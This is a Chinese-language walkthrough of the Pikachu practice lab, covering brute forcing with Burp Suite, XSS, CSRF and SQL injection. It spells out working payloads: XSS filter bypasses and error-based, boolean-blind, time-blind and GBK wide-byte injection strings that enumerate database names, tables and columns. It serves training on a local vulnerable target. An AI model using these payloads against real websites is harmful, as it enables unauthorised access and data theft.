靶场搭建
小皮+pikachu
小皮官网下载
pikachu下载地址
https://github.com/zhuifengshaonianhanlu/pikachu
下载完解压到小皮的www目录下,需要修改配置文件 WWW\pikachu-master\inc目录下的
config.inc.php文件
就行访问,localhost/pikachu-master 可能会初始化,也可能直接进入
我这里就是直接进入,但未连接到数据库,自己有创建了一个pikachu数据库
再打开就行了访问http://127.0.0.1/pikachu-master/install.php
暴力破解
基于表单的暴力破解
输入任意用户名和密码进行登录,抓包,重放reperter正常,
放在inturder进行爆破
验证码绕过(on server)
发现此页面多了验证码
发现服务端先校验验证码,还是可以进行对用户名和密码进行爆破
抓包,放intruder
验证码绕过(on client)
这一关前端对验证吗的验证,没什么用处
还是可以进行抓包进行暴力破解,
token防爆破?
token验证机制增大了爆破的难度,每次客户端请求服务端会返回token值,要爆破的话就必须要加上这个token值,每次刷新就会产生新的token值
选用pitchfork模式
配置资源池 最大线程为1
配置Options---Grep-Extract
Redirections 设为Never,或Always
Cross-Site Scripting
反射型xss(get)
限制输入长度,前端修改
最简单的xss代码就能注入,没有什么过滤
反射型xss(post)
登录进去(admin/123456)
写入xss语句
存储型xss
DOM型xss
需要构造<a>标签闭合语句,并嵌入弹窗
'onclick ="alert('xss')">
DOM型xss-x
随便输入字符,看看怎么输出或者过滤
输出在url上显示出来,还是构造<a>标签的闭合
'οnclick="alert('xss')">
xss之盲打
在这边输入xss弹窗语句,登录后台进行查看
xss之过滤
猜测对script进行绕过,采用大小写进行尝试,成功
xss之htmlspecialchars
htmlspecialchars()函数把一些预定义的字符转换为html实体
发现被记录了
对特殊字符进行编码
没有对单引号进行编码
利用单引号进行闭合,参考dom型来构造
' οnclick='alert(111)'
还可以使用javascript:alert(111)
xss之href输出
href是规定链接的目标,
输出的时候只允许http或https开头的协议,才允许输出
再进行htmlspecialchars处l理
javascript:alert(111)
xss之js输出
将插入的弹窗语句写入了原有的<script>标签中
';alert('11111');//
使用’将其闭合,然后使用</script>将原有的<script>结束,在插入payload
输入: '</script><script>alert('xss')</script>
CSRF
csrf(get)
根据提示,登录其中的一个用户,并修改个人信息,抓包
将其中的url复制下来,进行伪造将boy改为girl
在新标签浏览器访问,修改成功
csrf(post)
修改个人信息进行抓包,修改ad住址:beijing
csrf(token)
还是在修改信息的时候抓取数据包
发现增加了随机token,不容易伪造。
SQL-inject
数字型注入(post)
是post注入的数字型,抓取数据包进行测试
通过测试没有什么过滤,直接输入sql语句,进行查询
order by 2 正确,order by 3 报错,说明有两个字段
字符型注入(get)
因为是字符型注入 输入 1' or '1'='1
下面的就都一样了,使用'进行闭合
搜索型注入
通过测试,和上一关字符型一样,只不过存在三个字段
下面的查表,查列,查数值和上面一样
xx型注入
单引号,双引号都不行,发现是')
两个字段
"insert/update"注入
insert : 插入 update: 更新
本题应用报错注入的方法进行解答,对注册用户进行抓包
' or updatexml(1,concat(0x7e,version()),0) or'
查询数据库名:' or updatexml(1,concat(0x7e,database()),0) or'
爆出列名
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0) or'
delete注入
点击删除处 ,会显示id
抓包
还是采用报错注入,不过要使用+来拼接字符代替空格
查数据库名
id=57+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)
返回值不能大于一行,使用limit(limit3,1)3表示从第几个表开始,1表示显示1个
"http header"注入
登录之后显示这个
应该是在user-agent注入, 报错注入
盲注(base on boolian)
布尔盲注 kobe' and 1=1#(正常) kobe' and 1=2#(报错)
在布尔盲注的过程中,有一些函数
比如ascii(): 返回最左边字符的ASCII码。如果字符串为空,则返回return 0; 如果字符串为null,则返回null
length(): 返回字节类型的字符串长度
Mid(string,start,length)
先获取数据库的长度,在一个一个第去判断出数据库的字符
kobe' and length(database())=7 (正确)
猜解第一个字符
kobe' and ascii(mid(database(),1,1))>115 #
爆数据库的所有表个数
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=5#(正确)
爆第一个数据表的长度
kobe' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8# (正确)
爆第一个表的每一个字符
kobe' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104# (正确)
爆users表的第一个字段长度
kobe' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 # (正确)
爆users表的第一个字段值
kobe' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105 #
盲注(base on time)
延时十秒,确定为延时注入
数据库长度
kobe' and if(length(database())=7, sleep(10),1)#
判断数据库名
kobe' and if((substr(database(),1,1))='p', sleep(10),null)#
判断数据表内表的个数
kobe' and if((select count(table_name) from information_schema.tables where table_schema=database())=5,sleep(10),1)#
判断第一个表的长度
kobe' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8,sleep(10),1)#
判断第一个表的第一个字母
kobe' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104,sleep(10),1)#
宽字节注入
mysql数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是‘運’,从而使单引号闭合,进行注入
就是比平常的注入多了一个%df
比如 1%df' union select 1,2#